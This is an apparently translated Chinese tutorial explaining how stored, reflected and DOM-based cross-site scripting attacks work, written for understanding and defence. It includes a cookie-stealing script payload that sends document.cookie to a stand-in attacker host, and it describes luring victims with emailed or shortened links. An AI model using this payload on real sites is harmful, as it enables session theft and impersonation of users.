XSS攻击简单讲解

XSS 攻击中的参与者
在我们详细描述 XSS 攻击的工作原理之前,我们需要定义参与 XSS 攻击的参与者。一般来说,XSS 攻击涉及三个参与者:网站、受害者和攻击者。

该网站向请求它们的用户提供 HTML 页面。在我们的示例中,它位于http://website/。

网站的数据库是一个存储网站页面中包含的一些用户输入的数据库。

受害者是网站的普通用户,他使用浏览器从网站请求页面。

攻击者是网站的恶意用户,意图利用网站中的 XSS 漏洞对受害者发起攻击。

攻击者的服务器是攻击者控制的Web服务器,其唯一目的是窃取受害者的敏感信息。在我们的示例中,它位于http://attacker/。

示例攻击场景
在此示例中,将假设攻击者的最终目标是通过利用网站中的 XSS 漏洞来窃取受害者的 cookie。这可以通过让受害者的浏览器解析以下 HTML 代码来完成:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

该脚本将用户的浏览器导航到不同的 URL,触发对攻击者服务器的 HTTP 请求。URL 包含受害者的 cookie 作为查询参数,攻击者可以在请求到达他的服务器时从请求中提取该参数。一旦攻击者获得了cookies,他就可以使用它们来冒充受害者并发动进一步的攻击。

从现在开始,上面的 HTML 代码将被称为恶意字符串或恶意脚本。需要注意的是,字符串本身只有在最终在受害者的浏览器中被解析为 HTML 时才是恶意的,这只能作为网站中 XSS 漏洞的结果而发生。

示例攻击的工作原理
下图说明了攻击者如何执行此示例攻击:

(存储型XSS攻击示意图)

攻击者使用网站的一种形式将恶意字符串插入到网站的数据库中。

受害者从网站请求一个页面。

该网站在响应中包含来自数据库的恶意字符串并将其发送给受害者。

受害者的浏览器在响应中执行恶意脚本,将受害者的 cookie 发送到攻击者的服务器。

XSS 的类型
虽然 XSS 攻击的目标始终是在受害者的浏览器中执行恶意 JavaScript,但实现该目标的根本不同方法很少。XSS 攻击通常分为三种类型:

存储型 XSS,其中恶意字符串来自网站的数据库。
反射型 XSS,其中恶意字符串源自受害者的请求。
基于 DOM 的 XSS,其中漏洞存在于客户端代码而不是服务器端代码中。

前面的示例说明了持续的 XSS 攻击。我们现在将描述另外两种类型的 XSS 攻击:反射型 XSS 和基于 DOM 的 XSS。

反射型 XSS
在反射型 XSS 攻击中,恶意字符串是受害者对网站的请求的一部分。然后,该网站在发回给用户的响应中包含此恶意字符串。下图说明了这种情况:

(反射型XSS攻击示意图)

攻击者制作一个包含恶意字符串的 URL 并将其发送给受害者。

受害者被攻击者诱骗从网站请求 URL。

该网站在响应中包含来自 URL 的恶意字符串。

受害者的浏览器在响应中执行恶意脚本,将受害者的 cookie 发送到攻击者的服务器。

反射型XSS如何成功?
起初,反射型 XSS 可能看起来无害,因为它需要受害者本人实际发送包含恶意字符串的请求。由于没有人愿意攻击自己,因此似乎无法实际执行攻击。

事实证明,至少有两种常见的方法可以导致受害者对自己发起反射型 XSS 攻击:

如果用户针对特定个人,攻击者可以将恶意 URL 发送给受害者(例如使用电子邮件或即时消息)并诱骗他访问它。

如果用户针对一大群人,攻击者可以发布指向恶意 URL 的链接(例如在他自己的网站或社交网络上)并等待访问者点击它。

这两种方法是相似的,并且都可以通过使用 URL 缩短服务来取得更大的成功,该服务可以掩盖恶意字符串,否则可能会识别它的用户。

基于 DOM 的 XSS
基于 DOM 的 XSS 是持久性和反射式 XSS 的变体。在基于 DOM 的 XSS 攻击中,恶意字符串实际上不会被受害者的浏览器解析,直到网站的合法 JavaScript 被执行。下图说明了反射型 XSS 攻击的这种情况:

基于 DOM 的 XSS 攻击示意图

攻击者制作一个包含恶意字符串的 URL 并将其发送给受害者。

受害者被攻击者诱骗从网站请求 URL。

网站收到请求,但在响应中不包含恶意字符串。

受害者的浏览器执行响应中的合法脚本,导致恶意脚本插入页面。

受害者的浏览器执行插入页面的恶意脚本,将受害者的 cookie 发送到攻击者的服务器。

是什么让基于 DOM 的 XSS 与众不同
在前面的持久性和反射式 XSS 攻击示例中,服务器将恶意脚本插入页面,然后将其作为响应发送给受害者。当受害者的浏览器收到响应时,它会假定恶意脚本是页面合法内容的一部分,并在页面加载期间自动执行它,就像任何其他脚本一样。

然而,在基于 DOM 的 XSS 攻击示例中,没有插入恶意脚本作为页面的一部分;在页面加载期间自动执行的唯一脚本是页面的合法部分。问题是这个合法脚本直接利用用户输入来将 HTML 添加到页面。因为恶意字符串是使用 插入到页面中的innerHTML,所以会被解析为 HTML,从而导致恶意脚本被执行。

区别很微妙但很重要:

在传统的 XSS 中,恶意 JavaScript 在页面加载时执行,作为服务器发送的 HTML 的一部分。

在基于 DOM 的 XSS 中,由于页面的合法 JavaScript 以不安全的方式处理用户输入,恶意 JavaScript 在页面加载后的某个时间点执行。

为什么基于 DOM 的 XSS 很重要
在前面的示例中,JavaScript 不是必需的;服务器可以自己生成所有的 HTML。如果服务器端代码没有漏洞,那么网站就可以免受 XSS 攻击。

然而,随着 Web 应用程序变得越来越先进,越来越多的 HTML 由客户端而不是服务器端的 JavaScript 生成。任何时候需要更改内容而不刷新整个页面,都必须使用 JavaScript 执行更新。最值得注意的是,在 AJAX 请求之后更新页面时就是这种情况。

这意味着 XSS 漏洞不仅可能存在于您网站的服务器端代码中,还可能存在于您网站的客户端 JavaScript 代码中。因此,即使使用完全安全的服务器端代码,客户端代码在页面加载后仍可能不安全地将用户输入包含在 DOM 更新中。如果发生这种情况,客户端代码已经启用了 XSS 攻击,而服务器端代码没有故障。

服务器不可见的基于 DOM 的 XSS
有一个基于 DOM 的 XSS 的特殊情况,其中恶意字符串从不发送到网站的服务器:当恶意字符串包含在 URL 的片段标识符(#字符之后的任何内容)中时。浏览器不会将这部分 URL 发送到服务器,因此网站无法使用服务器端代码访问它。但是,客户端代码可以访问它,因此可能会通过不安全地处理它而导致 XSS 漏洞。

这种情况不限于片段标识符。服务器不可见的其他用户输入包括新的 HTML5 功能,如 LocalStorage 和 IndexedDB。